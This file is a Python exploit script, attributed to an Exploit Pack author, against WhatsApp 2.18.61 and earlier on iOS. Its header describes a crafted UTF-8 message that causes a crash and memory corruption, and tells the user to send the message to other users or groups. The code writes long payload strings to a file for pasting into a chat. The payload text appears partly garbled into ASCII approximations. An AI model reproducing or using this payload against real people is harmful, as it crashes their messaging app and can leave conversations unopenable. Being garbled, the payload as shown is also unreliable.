#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Author: Juan Sacco <jsacco@exploitpack.com> at Exploit Pack- http://www.exploitpack.com # This vulnerability has been discovered and exploited using ExploitPack - Framework # # Tested on: iPhone 5/6s/X iOS 10 and 11.4.1 ( Latest release of iOS at the date of writing this ) # # Description: # WhatsApp 2.18.61 and prior are affected. The application fails to properly filter user-supplied UTF-8 chars and cannot process rapid memory allocs/deallocs in iOS devices # thus for it becomes prone to a remote memory corruption vulnerability by using an specially crafted message. # # Impact: # Resource exhaustion attacks exploit a design flaw. An attacker could exploit this vulnerability to remotely corrupt the memory of the target and forcing an uhandled exception # in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption. # # Debug: # B04500954836","name":"WhatsApp"} # Date/Time: 2018-04-06 18:15:30.608135 +0200 # OS Version: iPhone OS 11.4.1 (Build 15E302) # Architecture: arm64 # Command: WhatsApp # ExceptionType: EXC_CRASH # # How to use this exploit: # Send the payload as a message to another Whatsapp user or group, trough a phone orw hatsapp-web. # # WARNING! # Because this is a especially crafted message, if WhatsApp crashes it doesn't means that the message it's not stored on the phone you need to remove it/archive it before open # the conversation again or it will be triggered back. # # Timeline: # Date and time of release: 27 August 2018 # Reported to Apple: ??? # Reported to Facebook/Whatsapp: ??? import sys reload(sys) def whatsapp(filename): sys.setdefaultencoding("utf-8") payload1 = u'a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! 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a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! 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a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)' payload2 = u'aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?' sutf8 = payload1.encode('UTF-8') sutf8 = payload2.encode('UTF-8') finalPoC = payload1 + "\n" + payload2 print "[*] Writing to file: " + filename open(filename, 'w').write(finalPoC) print "[*] Done." def howtouse(): print "Usage: whatsapp.py [FILENAME]" print "[*] Mandatory arguments:" print "[-] FILENAME" sys.exit(-1) if __name__ == "__main__": try: print "[*] WhatsApp 2.18.61 iOS - Remote memory corruption" print "[*] Author: jsacco@exploitpack.com - http://exploitpack.com" print "[*] How to use: Copy the content of the file and send it as a message to another whatsapp user or group" whatsapp(sys.argv[1]) except IndexError: howtouse()